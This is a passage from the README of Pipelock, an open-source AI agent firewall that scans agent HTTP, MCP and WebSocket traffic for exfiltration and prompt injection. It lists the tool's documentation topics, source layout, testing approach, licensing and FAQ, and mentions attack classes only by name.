`pipelock doctor`Configured-vs-enforceable deployment diagnostics for proxy, TLS, MCP, file_sentry, telemetry, and containment signals
`pipelock dashboard`Operator dashboard setup: auth modes, RBAC permissions, evidence, exemptions, budgets, trust and keys, fleet views, backup/restore, and coverage certificates
`pipelock verify-install`Deterministic scanning, local proof, and direct-egress smoke checks
`pipelock update`Verified self-update: signed release manifest, checksum verification, optional cosign cross-check, atomic install, rollback
Bypass ResistanceKnown evasion techniques, mitigations, limitations
Known Attacks BlockedReal attacks with repro snippets
SIEM IntegrationLog schema, CEF/syslog output, durable Enterprise forwarding, lifecycle, metrics, SIEM queries
Metrics ReferencePrometheus metric families, labels, JSON stats, and alert rules
Community RulesInstall, configure, and create signed rule bundles
Security AssuranceSecurity model, trust boundaries, supply chain
Security DocumentsDisclosure policy, unsupported paths, key rotation, TLS CA and Audit Packet threat models
Enterprise ReadinessShipped enterprise controls, evaluation path, deployment decisions, and explicit boundaries
Reproducible BuildsByte-for-byte OSS binary check, stable inputs, release integration, and scope
Finding SuppressionRule names, path matching, inline comments
Transport ModesAll proxy modes and their scanning capabilities
OWASP MCP Top 10OWASP MCP Top 10 coverage
OWASP Agentic Top 15OWASP Agentic AI Top 15 coverage
OWASP LLM Top 10OWASP Top 10 for LLM Applications (2025) coverage
EU AI ActEU AI Act compliance mapping
NIST 800-53NIST SP 800-53 Rev. 5 controls mapping
Assess MappingMaps runtime controls to the frameworks `pipelock assess` produces evidence against, for procurement and audit review
Policy Spec v0.1Portable agent firewall policy format
Mediation EnvelopeSideband metadata headers, config, interaction with receipts
Media PolicyStego stripping, SVG hardening, allowed types, size limits
Evidence TerminologyQuick reference for ActionReceipt, EvidenceReceipt, flight recorder, checkpoints, anchors, coverage certificates, and Audit Packets, with the integrity-vs-completeness and pinned-vs-unpinned distinctions
Receipt Verification`pipelock verify-receipt`, Fleet Receipt Report verification, standalone `pipelock-verifier`, conformance suite, chain integrity
Receipt Spec Profilesin-toto attestation predicate for action receipts, with companion SCITT and AARP profiles and prior-art mapping
Audit Packet Threat ModelWhat verified Audit Packets prove, what they do not prove, and the trust assumptions relying parties must pin
Receipt Transport CoverageReceipt emission matrix across fetch, forward, CONNECT/TLS, WebSocket, MCP, and A2A paths
Learn-and-LockPer-agent behavioral contracts: observe, compile, shadow, ratify, promote (v2.4)
FederationInbound mediation envelope verification, SPIFFE actor format, RFC 9421 well-known directory (v2.4)
Block-Reason Header`X-Pipelock-Block-Reason` schema, reason vocabulary, retry hints (v2.4)
Health Endpoint`/health` 503 wedge detection, subsystem heartbeats, operator dashboard config (v2.4)
Host Containment`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` for 3-UID nftables owner-match containment with kernel-observed posture attestation (v2.5)
MCP Integrity ManifestsGenerate, verify, sign, and require trusted MCP binary-integrity manifests (v2.5)
Adaptive CLIInspect and flush adaptive-enforcement runtime state through the admin API (v2.5)
ConductorThe Enterprise fleet control plane: policy distribution, audit sink, remote kill, rollback, mTLS/SPIFFE trust, licensing (v2.7, Enterprise)
Conductor Operator RunbookHands-on local fleet walkthrough: bootstrap, serve, sign a batch, verify offline
Conductor Operator QuickstartZero to a read-only fleet audit: license, operator mTLS cert, auditor token, read-only commands
Kubernetes Enterprise DeploymentHelm-based Conductor fleet: control plane, followers, fleet-sink, PKI Secrets, NetworkPolicies
`pipelock license`Install, inspect, and check the license that unlocks paid features (Pro `agents`, Enterprise `fleet`)
`pipelock baseline`Inspect, ratify, and relearn behavioral-baseline profiles through the authenticated admin API
Posture CapsuleSigned posture snapshots, `posture verify` CLI, CI gate, scoring model
`pipelock init sidecar`Generate enforced Kubernetes companion-proxy manifests and MCP launcher contracts (strategic-merge, Kustomize, Helm values)
`pipelock session`Operator CLI for airlock inspection and recovery (list, inspect, explain, release, terminate, recover)
`pipelock keys status`Unified signing-key inventory: per-purpose source, presence, readability, validity, and public-key fingerprint
Flight RecorderHash-chained signed evidence log: default-on behavior, transcript-root seal, redaction, escrow, key rotation
TLS InterceptionCONNECT-tunnel MITM: CA setup, body/header/response scanning, passthrough domains
Canary TokensSynthetic secrets that trip an alert the moment an agent tries to exfiltrate one
Detection IntegrationFeed Pipelock decisions and evidence into external detection / SIEM pipelines
PR ReviewManual-trigger AI security review for pull requests (`/review` comment)
MCP Inspector FrontFront MCP dev tools (Inspector, test servers) through Pipelock scanning
`pipelock demo`Self-contained attack scenarios with signed, offline-verifiable receipts, no config or network needed
BadgesDrop-in Markdown for the `scanned by pipelock` badge on downstream projects

Project Structure

text
cmd/pipelock/          CLI entry point
internal/
  cli/                 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
    diag/              `pipelock doctor` and install-verification diagnostics
    session/           `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
    setup/             `pipelock init sidecar`: companion-proxy manifest generation (K8s)
  config/              YAML config, validation, defaults, hot-reload (fsnotify)
  scanner/             Ordered URL scanning pipeline + response injection detection
  audit/               Structured JSON logging (zerolog) + event emission dispatch
  proxy/               HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
  mcp/                 MCP proxy + bidirectional scanning + tool poisoning + chains
    integrity/         MCP binary/script integrity manifests and trust workflow
  discover/            IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
  killswitch/          Emergency deny-all (6 sources) + port-isolated API
  envelope/            Mediation envelope (RFC 8941) for sideband metadata
  media/               Image metadata stripping (JPEG/PNG byte-level surgery)
  normalize/           Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
  receipt/             Action receipt signing + hash-chained evidence
  posture/             Posture capsule schema, signing, scoring, verify policy
  session/             Session state, taint classification, task boundaries, trust overrides
  rules/               Bundle loader, tier taxonomy, RequiredFeatures enforcement
  sandbox/             Landlock, seccomp, netns, macOS sandbox-exec
  shield/              Airlock, browser shield, SVG hardening
  signing/             Ed25519 key management
  integrity/           SHA256 file integrity monitoring
  report/              HTML/JSON audit report generation
enterprise/            Multi-agent features (ELv2)
sdk/conformance/       Cross-implementation receipt verification test vectors
charts/                Helm chart for Kubernetes deployment
configs/               7 built-in preset config files
docs/                  Guides, references, compliance mappings

Testing

Pipelock is tested like a security product. The open-source core has unit, integration, and end-to-end tests. A separate private adversarial suite exercises attack classes against the production binary. Every bypass graduates into a regression test before release.

MetricValue
Go tests (with `-race`)Unit, integration, and end-to-end paths
Coverage gate (codecov)91% Apache-2.0 core project, 95% patch on new code
Evasion coveragePublic bypass-resistance matrix + private adversarial corpus
Scanner hot-path overhead~40us per URL scan (hot-path benchmark; see docs/performance.md)
CI matrixGo 1.25 + 1.26, CodeQL, golangci-lint
Supply chainSLSA provenance, CycloneDX SBOM, cosign signatures

Run `make test` to verify locally. First-party benchmark evidence: the public agent-egress-bench corpus. See the live results.


Credits

Contributions welcome. See CONTRIBUTING.md for guidelines.

If Pipelock is useful, please star this repository. It helps others find the project.


License

Pipelock core is licensed under the Apache License 2.0. Copyright 2026 Joshua Waldrep.

Multi-agent features (per-agent identity, budgets, and configuration isolation)

are in the `enterprise/` directory, gated by the `enterprise` build tag and licensed

under the Elastic License 2.0 (ELv2). These features activate with a valid license key.

The open-source core works independently without paid features. All scanning, detection,

and single-agent protection is free.

Pre-built release artifacts (Homebrew, GitHub releases, Docker images) include paid-tier

code that activates with a valid license key. Building from source with `make build`, `make install`, or the

repository `Dockerfile` produces a Community-only binary.

See LICENSE for the Apache 2.0 text and enterprise/LICENSE for the ELv2 text.

Frequently asked questions

What is pipelock?

pipelock is Open-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from outside the agent.

How do I install pipelock?

Open the GitHub repository and follow its README. Most MCP servers are added to your client's MCP config, then called by your agent.

Is pipelock open source?

Yes — it is hosted on GitHub at https://github.com/luckyPipewrench/pipelock and has 833 stars.

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